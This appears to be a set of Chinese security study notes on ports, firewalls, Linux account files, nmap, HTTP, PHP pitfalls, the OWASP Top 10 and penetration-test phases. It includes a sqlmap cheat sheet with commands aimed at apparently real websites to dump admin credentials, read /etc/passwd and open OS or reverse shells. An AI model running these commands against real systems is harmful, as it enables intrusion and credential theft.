时间:2023-04-29 05:27:02 | 来源:网站运营
时间:2023-04-29 05:27:02 来源:网站运营
笔记:服务名称 | 端口号 | 检测项 |
---|---|---|
FTP | 21 | 口令爆破 |
SSH | 22 | 口令爆破 |
Telnet | 23 | 口令爆破,嗅探 |
DNS | 53 | DNS域传送漏洞 |
HTTP | 80 | 各类web安全漏洞 |
Mssql | 1433 | 口令爆破 |
oracle | 1521 | 口令爆破 |
mysql | 3306 | 口令爆破 |
RDP | 3389 | 口令爆破 |
weblogic | 7001 | 弱口令、口令爆破反序列话漏洞 |
标志位 | 全称 | 含义 | 注释 |
---|---|---|---|
URG | urgent | 紧急指针 | 数据有限推送到上层(绿色通道) |
ACK | acknowledgement | 确认位 | 对你发给我的数据包的确认(收到、好的、行) |
PSH | push | push | 数据推送到上层(常规通道) |
RST | reset | 复位连接 | 拒绝连接(不,我不在) |
SYN | synchronous | 请求建立连接 | 你好,我想和你说话 |
FIN | finish | 断开连接 | 和平分手 |
区别 | 路由器 | 防火墙 |
---|---|---|
两种设备产生的根源不同 | 路由器的产生是基于对网络数据包路由而产生的。路由器需要完成的是将不同网络的数据包进行有效的路由。 | 防火墙是产生于人们对于安全性的需求。重点是这个(一系列)数据包是否应该通过、通过后是否会对网络造成危害。 |
根本目的不同 | 保持网络和数据的 "通"。 | 保证任何非允许的数据包"不通"。 |
核心技术不同 | 路由器不能监测TCP的状态 | 防火墙能够检测TCP的状态,并且可以重新随机生成TCP的序列号 |
安全策略制定的复杂程度不同 | 路由器的默认配置对安全性的考虑不够 | 防火墙的默认配置既可以防止各种攻击,达到既用既安全 |
对性能的影响不同 | 路由器是简单的包过滤,包过滤的规则条数的增加, NAT规则的条数的增加,对路由器性能的影响都相应的增加 | 防火墙采用的是状态包过滤,规则条数,NAT的规则数对性能的影响接近于零。 |
审计功能的强弱差异巨大 | 路由器本身没有日志、事件的存储介质,只能通过采用外部的日志服务器等来完成对日志、事件的存储;路由器本身没有审计分析工具,对日志、事件的描述采用的是不太容易理解的语言;路由器对攻击等安全事件的响应不完整,对于很多的攻击、扫描等操作不能够产生准确及时的事件。审计功能的弱化,使管理员不能够对安全事件进行及时、准确的响应 | NetEye防火墙的日志存储介质有两种,包括本身的硬盘存储,和单独的日志服务器;针对这两种存储, NetEye 防火墙都提供了强大的审计分析工具,使管理员可以非常容易分析出各种安全隐患;NetEye 防火墙对安全事件的响应的及时性,还体现在他的多种报警方式上,包括蜂鸣、trap、邮件、日志;NetEye 防火墙还具有实时监控功能,可以在线监控通过防火墙的连接,同时还可以捕捉数据包进行分析,非分析网络运行情况,排除网络故障提供了方便。 |
防范攻击的能力不同 | 路由器将是保护内部网的第一道关口 | 防火墙将是第二道关口,也是最为严格的一道关口 |
区域 | 默认规则策略 |
---|---|
trusted | 允许所有的数据包流入流出 |
home | 拒绝流入的流量,除非与流出的流量相关;而如果流量与ssh、ipp-client、amba-client与dhcpv6-client服务相关,则允许流量 |
internal | 等同于home区域 |
work | 拒绝流入的流量,除非与流出的流量相关;而如果流量与ssh、ipp-client、dhcpv6-client服务相关,则允许流量 |
public | 拒绝流入的流量,除非与流出的流量相关;而如果流量与ssh、dhcpv6-client服务相关,则允许流量 |
external | 拒绝流入的流量,除非与流出的流量相关;而如果流量与ssh服务相关,则允许流量 |
dmz | 拒绝流入的流量,除非与流出的流量相关;而如果流量与ssh服务相关,则允许流量 |
block | 拒绝流入的流量,除非与流出的流量相关 |
drop | 拒绝流入的流量,除非与流出的流量相关 |
字段序号 | 示例 | 解释 | 说明 |
---|---|---|---|
1 | root | 用户名 | |
2 | x | 密码占位符 | 用户的密码 x代表有密码 无内容,用户登录系统无需密码 |
3 | 0 | UID | 当前用户的身份识别 0 就是超级管理员 |
4 | 0 | GID | 当前用户的基本组ID |
5 | root | 用户的身份信息 | 现已废弃 |
6 | /root | 用户的家目录 | 超管:/root 普通用户:/home/用户名 |
7 | /bin/bash | 用户登录系统后(默认)命令解释器 | /sbin/nologin 不允许登录系统 /bin/sh /bin/bash |
字段序号 | 示例 | 含义 | 说明 |
---|---|---|---|
1 | root | 用户名 | |
2 | $6$fcSW... | 密码密文 | sha-512 HASH 散列算法 salt 值 加密后的密文 |
3 | 17632 | 密码修改时间 | 距离1970 年1 月1 日 密码最近一次的修改时间(天) |
4 | 0 | 密码最短有效期 | 在最短有效期之内不能修改密码 3:三天之内不可以修改自己的密码 root 用户不受此限制 |
5 | 99999 | 密码最长有效期 | 密码可以使用多长时间 建议设置成90 天 |
6 | 7 | 密码过期时间 | 密码过期前7 天会有警告提示 |
7 | 密码的不活跃期 | 过了密码有效期没有修改密码 处于不活跃期,仍然可以登录系统 | |
8 | 账户失效时间 | 密码距离1970 年1 月1 日的失效时间(天) | |
9 | 未分配功能 |
数据库类型 | 数据库 | 端口号 |
---|---|---|
关系型数据库 | MySQL | 3306 |
Oracle | 1521 | |
SQL Server | 1433 | |
DB2 | 5000 | |
PostgreSQL | 5432 | |
国产的DM达梦数据库 | 5236 | |
非关系型数据库 | Redis | 6379 |
Memcached | 11211 | |
MongoDB | 27017 |
select benchmark(10000,md5("123456"));计算123456的md5值,10000次
=:like
常见服务 | 配置文件 | 日志文件 |
---|---|---|
Linux系统 | /etc/passwd: 系统用户数据库文件. /etc/group: 组的数据库文件. /etc/shadow(存放密码). /etc/profile(系统环境). | /etc/logrotate.conf 日志文件各级的选项 /var/log/message 内核消息及各种应用程序的公共日志信息 /var/log/secure 用户认证相关的安全事件信息 /var/log/cron Crond周期性计划任务产生的时间信息 /var/log/lastlog 每个用户最近的登录事件 /var/log/wtmp 每个用户登录注销及系统启动和停机事件 /var/log/btmp 失败的、错误的登录尝试及验证事件 /var/log/ maillog 进入或发出系统的电子邮件活动 |
Nginx | 安装目录下的conf/nginx.conf文件 | 模块的目录: /etc/httpd/modules 日志目录: /etc/log/httpd/* 访问日志为: ./access_ log 错误日志为: ./err_ log 网页的存放目录: /var/www/html |
规则表名称 | 作用 | 说明 |
---|---|---|
raw | 流量跟踪 | 确认是否对该数据包进行状态跟踪 |
mangle | 流量“整容” | 为数据包设置标记 |
nat | 地址转换 | 修改数据包中的源、目标IP地址和端口 |
filter | 过滤,筛选 | 确认是否放行该数据包(过滤) |
规则链名称 | 作用 | 说明 |
---|---|---|
PREROUTING | 在进行路由选择前处理数据包 | |
INPUT | 处理入站数据包 | 数据访问本机时候所限制规则的缩写位置 |
FORWARD | 处理转发数据包 | 是否允许数据经过我进行转发 |
POSTROUTING | 在进行路由选择后处理数据包 | |
OUTPUT | 处理出站数据包 | 数据包向外发所写的规则限制(一般不写规则) |
nmap <target ip address(目标主机ip)> #nmap简单扫描nmap -p(端口号) <target ip> #nmap 指定端口扫描nmap -p(range自定义扫描端口范围)<target ip> #nmap自定义扫描nmap -sP <target ip> #ping扫描nmap -Pn <target ip> #不需要ping扫描nmap -O <yarget IP> #启用远程操作系统检测
参 数 | 说 明 |
---|---|
-sT | TCP connect()扫描,这种方式会在目标主机的日志中记录大批连接请求和错误信息。 |
-sS | 半开扫描,很少有系统能把它记入系统日志。不过,需要Root权限。 |
-sF -sN | 秘密FIN数据包扫描、Xmas Tree、Null扫描模式 |
-sP | ping扫描,Nmap在扫描端口时,默认都会使用ping扫描,只有主机存活,Nmap才会继续扫描。 |
-sU | UDP扫描,但UDP扫描是不可靠的 |
-sA | 这项高级的扫描方法通常用来穿过防火墙的规则集 |
-sV | 探测端口服务版本 |
-Pn | 扫描之前不需要用ping命令,有些防火墙禁止ping命令。可以使用此选项进行扫描 |
-v | 显示扫描过程,推荐使用 |
-h | 帮助选项,是最清楚的帮助文档 |
-p | 指定端口,如“1-65535、1433、135、22、80”等 |
-O | 启用远程操作系统检测,存在误报 |
-A | 全面系统检测、启用脚本检测、扫描等 |
-oN/-oX/-oG | 将报告写入文件,分别是正常、XML、grepable 三种格式 |
-T4 | 针对TCP端口禁止动态扫描延迟超过10ms |
-iL | 读取主机列表,例如,“-iL C:/ip.txt” |
nmap --脚本默认,安全加载default和 safe类别中的所有脚本。nmap --script smb-os-discovery仅加载smb-os-discovery 脚本。请注意,.nse扩展是可选的。nmap --script default,banner,/home/user/customscripts加载default 类别中的banner脚本、脚本和目录中的所有 .nse文件 /home/user/customscripts。当按名称引用脚本时script.db,您可以使用 shell 样式的 ' *' 通配符。nmap --script "http-*"加载名称以 开头的所有脚本 http-,例如 http-auth和 http-open-proxy。参数 to --script必须用引号引起来以保护通配符免受 shell 的影响。可以使用 、 和 运算符构建布尔表达式来完成更复杂的 and脚本or选择 not。运算符的 优先级 与 Lua 中相同:not最高,然后 and是or。您可以使用括号更改优先级。因为表达式包含空格字符,所以需要引用它们。nmap --script“非侵入式”加载除 intrusive类别中的脚本之外的所有脚本。nmap --script "默认或安全"这在功能上等同于 nmap --script "default,safe"。default它加载类别或safe类别或两者中的所有脚本。nmap --script "默认和安全"加载同时属于default和 safe类别的那些脚本 。nmap --script "(默认或安全或侵入性) 而不是 http-*"加载、 或类别中的脚本default, 名称以 开头的脚本除外 。safeintrusivehttp-布尔表达式中的名称可以是类别、来自 script.db或的文件名all。名称是不包含 ' '、' ,'、' ('、' )' 或 ' ;' 的任何字符序列,除了作为运算符的序列 and、or和 not。
当使用的代码为嵌套型(例如先猜表名 后猜指定字段时) 需要键入上一次用到的指令(如果上一次为参数要转换) 参数转换为指令 : --tables >> -T例如 要猜字段时 需要键入指定表段 */检查注入点 sqlmap.py -u "http://www.scshlx.com/TeachView.asp?id=21"列数据库信息 sqlmap -u "http://www.scshlx.com/TeachView.asp?id=21" --dbs指定库名列出所有表 //最大搜索线程为10 sqlmap.py -u "http://www.hainanez.com/TeachView.asp?id=33" --tables指定库名表名列出所有字段 sqlmap.py -u "http://www.hainanez.com/TeachView.asp?id=33" -T "双引号下为指定表名admin" --columns指定库名表名字段名dump出指定字段的内容 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" --dump -T "admin" -C "username,password"查询表名下所有字段 sqlmap.py -u "http://www.hainanez.com/TeachView.asp?id=33" --tables --columnsMysql注入(有多个库 必须找到有管理员的数据库) --is-dba 当前用户权限 --dbs 所有数据库 --current-db 网站当前数据库 --users 所有数据库用户 --current-user 当前数据库用户 --tables-D"当前数据库名字" 查表名、 -T"指定的表名"-D"当前数据库名字"--columns 查字段Cookie注入(遇到防注入) sqlmap.py -u "http://www.scshlx.com/TeachView.asp" --cookie"id=21"--level 2 列表名等 在上方代码后面加--tables等; eg:sqlmap.py -u "http://www.hexuan.com/shownews.asp" --cookie "id=1749" --level 2 --dump -T "admin" -C "username"有几个参数可能会用到,直接加在最后面就可以了,更多详细参数见官方文档: –cookie=COOKIE 在需要登录的地方,需要登录后的cookie –proxy=”http://127.0.0.1:8087″ 使用HTTP代理隐藏自己的身份,比如使用goagent等 –sql-query=QUERY 执行一个sql语句,不一定支持sqlmap -u “http://url/news?id=1″ --dbms “Mysql” –users # dbms 指定数 据库类型sqlmap -u “http://url/news?id=1″ -- users 列数据库用户sqlmap -u “http://url/news?id=1″ -- dbs 列数据库sqlmap -u “http://url/news?id=1″ -- passwords 数据库用户密码sqlmap -u “http://url/news?id=1″ -- passwords-U root -v 0 #列出指定用户 数据库密码sqlmap -u “http://url/news?id=1″ -- dump -C “password,user,id” -T “tablename”-D “db_name”–start 1 –stop 20 #列出指定字段,列出20 条sqlmap -u “http://url/news?id=1″ -- dump-all -v 0 #列出所有数据库所有表sqlmap -u “http://url/news?id=1″ -- privileges #查看权限sqlmap -u “http://url/news?id=1″ -- privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色sqlmap -u “http://url/news?id=1″ -- udf-inject #导入用户自定义函数(获取 系统权限!)sqlmap -u “http://url/news?id=1″ -- dump-all –exclude-sysdbs -v 0 #列 出当前库所有表sqlmap -u “http://url/news?id=1″ -- union-cols #union 查询表记录sqlmap -u “http://url/news?id=1″ -- cookie “COOKIE_VALUE”#cookie注入sqlmap -u “http://url/news?id=1″ -- b #获取banner信息sqlmap -u “http://url/news?id=1″ -- data “id=3″#post注入sqlmap -u “http://url/news?id=1″ - v 1 -f #指纹判别数据库类型sqlmap -u “http://url/news?id=1″ -- proxy“http://127.0.0.1:8118” #代理注 入sqlmap -u “http://url/news?id=1″ -- string”STRING_ON_TRUE_PAGE”# 指 定关键词sqlmap -u “http://url/news?id=1″ -- sql-shell #执行指定sql命令sqlmap -u “http://url/news?id=1″ -- file /etc/passwdsqlmap -u “http://url/news?id=1″ -- os-cmd=whoami #执行系统命令sqlmap -u “http://url/news?id=1″ -- os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shellsqlmap -u “http://url/news?id=1″ -- reg-read #读取win系统注册表sqlmap -u “http://url/news?id=1″ -- dbs-o “sqlmap.log”#保存进度sqlmap -u “http://url/news?id=1″ -- dbs -o “sqlmap.log” –resume #恢复 已保存进度
请求方法 | 说明 |
---|---|
GET | 通常用于请求服务器发送某个资源(没有请求正文) |
POST | 通常用于表单提交或文件上传等功能(有请求正文) |
HEAD | 与GET 方法类似,但是服务器响应中只返回首部(头部),没有正文 |
OPTIONS | 用来测试服务器所支持的方法 |
TRACE | 回显浏览器的请求 |
PUT | PUT 方法会向服务器写入文档 |
DELETE | 请求服务器删除指定的资源 |
状态码 | 描述短语 | 含义 |
---|---|---|
200 | OK | 表示从客户端发送给服务器的请求被正常处理并返回 |
204 | No Content | 表示客户端发送给客户端的请求得到了成功处理,但在返回的响应报文中不含实体的主体部分(没有资源可以返回) |
206 | Patial Content | 表示客户端进行了范围请求,并且服务器成功执行了这部分的GET请求,响应报文中包含由Content-Range指定范围的实体内容。 |
301 | Moved Permanently | 永久性重定向,表示请求的资源被分配了新的URL,之后应使用更改的URL; |
302 | Found | 临时性重定向,表示请求的资源被分配了新的URL,希望本次访问使用新的URL |
303 | See Other | 表示请求的资源被分配了新的URL,应使用GET方法定向获取请求的资源 |
304 | Not Modified | 表示客户端发送附带条件(是指采用GET方法的请求报文中包含if-Match、If-Modified-Since、If-None-Match、If-Range、If-Unmodified-Since中任一首部)的请求时,服务器端允许访问资源,但是请求为满足条件的情况下返回改状态码; |
307 | Temporary Redirect | 临时重定向,与303有着相同的含义,307会遵照浏览器标准不会从POST变成GET;(不同浏览器可能会出现不同的情况) |
400 | Bad Request | 表示请求报文中存在语法错误 |
401 | Unauthorized | 未经许可,需要通过HTTP认证 |
402 | Payment Required | 需付费 |
403 | Forbidden | 服务器拒绝该次访问(访问权限出现问题) |
404 | Not Found | 表示服务器上无法找到请求的资源,除此之外,也可以在服务器拒绝请求但不想给拒绝原因时使用 |
405 | Method Not Allowed | 方法不被允许 |
406 | Not Acceptable | 无法接受 |
408 | Request Timeout | 请求超时 |
409 | Conflict | 指令冲突 |
413 | Request Entity Too Large | 请求实体过大 |
414 | Request-URL Too Long | 所请求的URL地址过长 |
416 | Requested Range Not Satisfiable | 请求的范围无法被满足 |
417 | Expectation Failed | 预期内容错误 |
426 | Upgrade Required | 需升级 |
429 | Too Many Requests | 数量过多 |
431 | Request Header Fields Too Large | 请求的头字段过大 |
450 | Blocked by Windows Parental Controls | 已被wendows家长控制程序屏蔽 |
500 | Inyermal Server Error | 内部服务器错误 |
507 | Insufficient Storage | 内存不足 |
599 | Network connect timeout error | 错误:网络连接超时 |
100 | continue | 继续 |
类别 | 原因短语 | |
---|---|---|
1XX | Informational(信息性状态码) | 接受的请求正在处理 |
2XX | Success(成功状态码) | 请求正常处理完毕 |
3XX | Redirection(重定向) | 需要进行附加操作以完成请求 |
4XX | Client error(客户端错误) | 客户端请求出错,服务器无法处理请求 |
5XX | Server Error(服务器错误) | 服务器处理请求出错 |
1|<?php2|$a = "0";3|$a_array = array("a" => "1","b" => "2");4|extract($a_array);5|echo "/$a = $a; /$b = $b";6|?>
a会被覆盖为1 1|<?php 2|$auth = '0'; 3|import_request_variables('G'); 4| 5|if($auth == 1){ 6| echo "a"; 7|}else{ 8| echo "b"; 9|}10|?>
使用GET请求1|?auth=1
导致auth被覆盖为1,输出a1|<?php2|$a="1";3|$b="a";4|$$b="2";5|echo $a;6|?>
$$a=a,所以输出为2危险函数 | 危险等级 | 功能描述 |
---|---|---|
phpinfo() | 中 | 输出 PHP 环境信息以及相关的模块、WEB 环境等信息。 |
passthru() | 高 | 允许执行一个外部程序并回显输出,类似于 exec()。 |
exec() | 高 | 允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。 |
system() | 高 | 允许执行一个外部程序并回显输出,类似于 passthru()。 |
chroot() | 高 | 可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式PHP 时才能工作,且该函数不适用于 Windows 系统。 |
scandir() | 中 | 列出指定路径中的文件和目录。 |
chgrp() | 高 | 改变文件或目录所属的用户组。 |
chown() | 高 | 改变文件或目录的所有者。 |
shell_exec() | 高 | 通过 Shell 执行命令,并将执行结果作为字符串返回。 |
proc_open() | 高 | 执行一个命令并打开文件指针用于读取以及写入。 |
proc_get_status() | 高 | 获取使用 proc_open() 所打开进程的信息。 |
error_log() | 低 | 将错误信息发送到指定位置(文件)。 安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,执行任意命令。 |
ini_alter() | 高 | 是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。具体参见 ini_set()。 |
ini_set() | 高 | 可用于修改、设置 PHP 环境配置参数。 |
ini_restore() | 高 | 可用于恢复 PHP 环境配置参数到其初始值。 |
dl() | 高 | 在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。 |
pfsockopen() | 高 | 建立一个 Internet 或 UNIX 域的 socket 持久连接。 |
syslog() | 中 | 可调用 UNIX 系统的系统层 syslog() 函数。 |
readlink() | 中 | 返回符号连接指向的目标文件内容。 |
symlink() | 高 | 在 UNIX 系统中建立一个符号链接。 |
popen() | 高 | 可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。 |
stream_socket_server() | 中 | 建立一个 Internet 或 UNIX 服务器连接。 |
putenv() | 高 | 用于在 PHP 运行时改变系统字符集环境。在低于 5、2、6 版本的 PHP 中,可利用该函数修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。 |
名称 | 解释 |
---|---|
A01:2021-失效的访问控制 Broken Access Control | 访问控制强制实施策略,使用户无法在其预期权限之外进行操作。失败的访问控制通常会导致未经授权的信息泄 露、修改或销毁所有数据、或在用户权限之外执行业务功能。 |
A02:2021-加密机制失效 Cryptographic Failures | 首先要确认:对传输中数据和存储数据都有哪些保护需求。 例如,密码、信用卡号、医疗记录、个人信息和商业秘 密需要额外保护,尤其是在这些数据属于隐私保护法(如:欧盟GDPR) 或法规条例(如:金融数据保护标准PCI DSS) 适用范围的情况下。 |
A03:2021-注入 Injection | 在以下情况下,应用程序易受攻击: * 应用程序不会验证、过滤或清洗用户提供的数据。 * 动态查询或无上下文感知转义的非参数化调用直接在解释器中使用。 * 恶意数据在对象关系映射(ORM)搜索参数中用于提取额外的敏感记录。 * 恶意数据被直接使用或连接。SQL或命令包含动态查询、命令或存储过程中的结构和恶意数据。 |
A04:2021-不安全设计 Insecure Design | 不安全设计是一个广泛的类别,代表不同的弱点,表示为“缺少或无效的控制设计”。不安全设计不是所有其他前10个风险类别的来源。不安全设计和不安全的实现之间存在差异。我们区分设计缺陷和实现缺陷是有原因的,它们有不同的根本原因和补救措施。安全设计仍然可能存在实现缺陷,从而导致可能被利用的漏洞。一个不安全设计不能 通过一个完美的实现来修复,因为根据定义,所需的安全控制从未被创建来抵御特定的攻击。导致不安全设计的因素之一是开发的软件或系统中缺乏固有的业务风险分析,因此无法确定需要何种级别的安全设计。 |
A05:2021-安全配置错误 curity Misconfiguration | 您的应用程序可能受到攻击,如果应用程序是: * 应用程序栈的任何部分缺少适当的安全加固,或者云服务的权限配置错误。 *应用程序启用或安装了不必要的功能(例如:不必要的端口、服务、网页、帐户或权限)。 *默认帐户和密码仍然可用且没有更改。 * 错误处理机制向用户纰漏堆栈信息或其他大量错误信息。 * 对于升级的系统,最新的安全特性被禁用或未安全配置。 *应用程序服务器、应用程序框架(如:Struts、Spring、http://ASP.NET)、库文件、数据库等没有进行安全配置。 * 服务器不发送安全标头或指令,或未被设定安全参数。 *您的应用软件已过期或易受攻击(参见“A6:2021-脆弱和过时的组件”)。 |
A06:2021-自带缺陷和过时的组件 Vulnerable and Outdated Components | 如果满足下面的某个条件,那么您的应用就易受此类攻击: * 如果您不知道所有使用的组件版本信息(包括:服务端和客户端)。这包括了直接使用的组件或间接依赖的组件。 *如果软件易受攻击,不再支持或者过时。这包括:系统、Web服务器、应用程序服务器、数据库管理系统(DBMS)、应用程序、API和所有的组件、运行环境和库。 * 如果您没有定期做漏洞扫描和订阅使用组件的安全公告。 * 如果您不基于风险及时修复或升级底层平台、框架和依赖库。很可能发生这种情况:根据变更控制,每月或每季度 进行升级,这使得组织在这段时间内会受到已修复但未修补的漏洞的威胁。 * 如果软件工程师没有对更新的、升级的或打过补丁的组件进行兼容性测试。 * 如果您没有对组件进行安全配置(参见“A05:2021–安全配置错误”)。 |
A07:2021-身份识别和身份验证错误 Identification and Authentication Failures | * 允许像是攻击者已经拥有有效用户名称和密码列表的撞库自动化攻击。 * 允许暴力或其他自动化攻击。 * 允许预设、脆弱、常见的密码,像是"Password1"或"admin/admin"。 * 使用脆弱或无效的认证资讯回复或忘记密码的流程,如不安全的"知识相关问答"。 * 使用明码、被加密的或使用较脆弱杂凑法的密码(参考A3: 2017-敏感性资料泄漏)。(TODO) * 不具有或是无效的多因素认证。 * 于URL中泄漏会话(session) ID(如URL重写)。 * 成功登入后没有轮换会话(session) ID。 * 没 有 正 确 的 注 销 会 话 (session) ID 。 用 户 的 会 话 (session) 或 认 证 tokens( 主 要 是 单 一 登 入(SSO)token) 没有在登出时或一段时间没活动时被适当的注销。 |
A08:2021-软件和数据完整性故障 Software and Data Integrity Failures | 软件和数据完整性故障与无法防止违反完整性的代码和基础设施有关。这方面的一个例子是,应用程序依赖于不受 信任的源、存储库和内容分发网络(CDN)的插件、库或模块。不安全的CI/CD管道可能会带来未经授权的访问、恶 意代码或系统安全风险。最后,许多应用程序现在包括自动更新功能。其中,更新包在没有进行充足完整性验证的情 况下被下载,并应用于以前受信任的应用程序。攻击者可能会上传自己的更新包,以便在所有安装上分发和运行。另 一个例子是,对象或数据被编码或序列化为攻击者可以看到和修改的结构,很容易受到不安全的反序列化的影响。 |
A09:2021-安全日志和监控故障 Security Logging and Monitoring Failures | 2021 年版OWASP Top 10 中,该类别是为了帮助检测、升级和应对活跃的违规行为。如果不进行日志记录和监 测,就无法发现违规行为。任何时候都会发生日志记录、检测、监视和主动响应不足的情况: * 需要审计的事件,例如:登录、失败的登录和高价值交易,但未记录。 * 警告和错误未生成日志或日志记录不充分或日志消息不清晰。 * 应用程序和 API的日志未进行安全可疑活动的监控。 * 日志只存储在本地。 * 适当的警报阈值和响应升级过程不到位或无效。 * 渗透测试和动态应用安全测试(DAST)工具(例如:OWASP ZAP)的扫描没有触发警报。 * 应用无法实时或接近实时地检测、升级或或对主动攻击发出警报。 * 如果让用户或攻击者看到日志和警报事件,您就容易受到信息泄露的攻击(查看“A01:2021-失效的访问控 制”)。 |
A10:2021-服务端请求伪造 Server-Side Request Forgery | 一旦Web应用在获取远程资源时没有验证用户提供的URL,就会出现SSRF缺陷。它允许攻击者强制应用程序发送一个精心构建的请求到一个意外目的地,即使是在有防火墙、VPN或其他类型的网络访问控制列表(ACL)保护的情况下。随着现代Web应用为终端用户提供便利的功能,获取URL成为一种常见的场景。因此,SSRF安全攻击事件也在不断增加。此外,由于云服务和架构的复杂性,SSRF的严重性也越来越高。 |
测试名称 | 测试内容 |
---|---|
范围界定 | 在开始技术性安全评估之前,务必要观察研究目标环境的被测范围。同时还有了解,这个范围牵扯几个单位,是单个单位还是多个单位会参与到安全评估中来。 在范围界定阶段,需要考虑的典型因素如下: 测试对象是扫描? 应采取何种测试方式? 有哪些在测试过程中需要满足的条件? 需要多久才能完成测试? 此次测试应达到什么样的任务目标? |
信息收集 | 在划定了测试范围后,就需要进入信息收集阶段,在这个阶段,渗透测试人员需要利用各种资源尽可能的获取测试目标的相关信息。 从互联网上收集信息的渠道主要有: 论坛 公告板 新闻组 媒体文章 博客 社交网络 其他商业或非商业的网络 此外,也可以借助各种搜索引擎获取相关数据,如谷歌、雅虎、百度等。搜集的信息主要包括DNS服务器、路由关系、whois数据库、电子邮件地址、电话号码、个人信息以及用户账户,收集的信息越多,渗透测试成功的概率越高。 |
目标识别 | 网络拓扑结构关系和在线主机联网设备与ID(IP地址) 这个阶段的主要任务是识别目标网络的状态,操作系统和网络架构,该阶段工作旨在完整地展现目标网络里各种联网设备或技术的完整关系,以帮助测试人员在接下来的工作里枚举网络里的各种服务。 |
服务枚举 | 在线主机开启端口,并识别端口上运行的服务 这一阶段会根据前面各个阶段的成果,进一步找出目标系统中所有开放的端口。一但找到所有开放端口,就可以通过这些端口来列出目标系统上运行的服务,主机上开发的端口都有相应的服务程序。对这些信息进行深度分析之后,可进一步发掘目标网络基础设施中可能存在的漏洞。 |
漏洞映射(漏洞扫描) | 已知漏洞/未知漏洞 可以根据以及发现的开发端口和服务程序,查找和分析目标系统中存在的漏洞,如果能采用自动和手动这两种不同的测试方式结合起来,审计人员对目标系统的认知会更为清晰,透彻,并能够仔细的检查已知漏洞和未知漏洞。 |
社会工程学 | 安全策略、安全配置、安全行为都是企业员工在做。 如果目标网络没有直接的入口,欺骗的艺术将起到抛砖引玉的作用,对目标组织中的人员进行定向攻击,很有可能帮我们找到渗透目标系统的入口。如,诱使用户安装带有后门的恶意程序,就可能为审计人员的渗透工作形成突破,社会工程学渗透分为多种不同实现形式。伪装成管理员,通过电话要求用户提供自己的账户信息,并发送钓鱼邮件来劫持用户的账户信息,甚至诱使某人出现在某地—这些都是社会工程学攻击。在社会工程学中,达成同一既定目标的实现方式应有尽有。需要主要的是,在对目标实施欺骗以达到渗透目标之前,多数情况下需要长时间研究目标人员的心理。另外,在开展这个阶段的工作之前,需要研究国内的法律条文是否有关社会工程学的相关条款。 |
漏洞利用 | 在仔细检查和发现目标系统漏洞之后,就可以使用已有的漏洞利用程序对目标系统进行渗透,审计人员可以把客户端漏洞利用程序和社会工程学结合,进而控制目标系统,这个阶段的主要任务是控制目标系统,这个流程分为三步,涉及攻击前,攻击,攻击后的相关行动。 |
权限提升 | 提权,普通用户提升为管理员、系统用户(获得角色以外的权限) 获取目标系统的控制权是渗透成功的标志,接下来,审计人员就可以根据所拥有的访问权限在被测系统中资源发挥,审计人员也可以使用适用于目标系统的本地漏洞来提升自己的权限,只要他们能在目标系统上运行提权漏洞利用程序,就可以获取主机超级用户权限或系统级权限。审计人员还可以以该主机为跳板,进一步攻击局域网络。根据渗透范围的界定,审计人员接下来开展的攻击可能受限制的,也可能不受限制。然后,他们很有可能以各种方式获得与控制系统相关的更多信息。具体方法,可能会用嗅探手段截获网络数据包,破解各种服务密码,,在局域网中使用网络欺骗手段,所以说,提升权限的最终目的是获取目标网络的最高访问权限。 |
访问维护 | 权限维护(埋藏后面) 多数情况下,审计员需要在一段时间内维护他们对目标系统的访问权限。例如,在演示越权访问的时候,安全后门将节省重新渗透目标所耗费的大量时间。这种情况下,访问维护将节约获取目标系统访问权限所需要的时间、花费和资源。审计员可以通过一些秘密的通信渠道,在既定的时间内维护对目标系统的访问权限。这些隧道往往基于特定协议、代理或点对点方法的后门程序。这种对系统的访问方法可以清楚的展示入侵人员在目标系统实施攻击时隐藏行踪的具体方法 |
文档报告 | 提交物,以人性化的方式说渗透测试过程 渗透测试最后一个环节,审计员要记录报告并现场演示那些已经识别验证和利用了的安全漏洞。在被测单位的管理和技术团队会检查渗透使用的方法,并会根据这些文档修复所有存在的漏洞。所以从道德角度来看,文档报告的工作十分重要,并为了帮助管理人员 和技术人员共同理解分析当前IT基础框架中薄弱的环节,可能需要给不同部门撰写不同措辞的书面报告。此外这些报告还可以用来获取或比较渗透测试前后目标系统的完整性。 简化的渗透测试流程是在进行渗透测试过程中经常使用的流程 具体如下: (1)明确目标 确定范围|确定规则|确定需求 (2)信息收集 基础信息|系统信息|应用信息|人员信息|防护信息 (3)漏洞探测 系统漏洞|Web 服务漏洞|Web 应用漏洞|其他端口|通信安全 (4)漏洞验证 手工验证|工具验证|实验验证 (5)漏洞利用 定制EXP|防御绕过|进一步渗透|清理痕迹 (6)形成报告 整理结果|补充介绍|修复建议 |
SQL 注入的攻击行为可以描述为通过用户可控参数中注入SQL 语法,破坏原有SQL 结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:程序员在处理程序和数据库交互时,使用字符串拼接的方式构造SQL 语句。未对用户可控参数进行足够的过滤,便将参数内容拼接到SQL 语句中。
SQL 注入危害攻击者可以利用SQL 注入漏洞,可以获取数据库中的多种信息(例如:后台管理员账密),从而脱取数据库中的内容(脱库)。在特别的情况下还可以插入内容到数据库、删除数据库中的内容或者修改数据库内容。如果数据库权限分配存在问题,或者数据库本身存在缺陷,攻击者可以利用SQL 注入漏洞直接获取WebShell 或者服务器权限。
SQL 注入漏洞的分类两大基本类型 | 注入手法 | 提交参数的方式 | 注入点的位置 |
---|---|---|---|
联合查询 | GET 注入 | URL 注入 | |
数字型 | 报错注入 | POST 注入 | 搜索框注入 |
字符型 | 布尔盲注 | Cookie 注入 | 留言板注入 |
延时注入 | HTTP 头部注入 | 登录框注入 | |
堆叠查询 |
关键词:笔记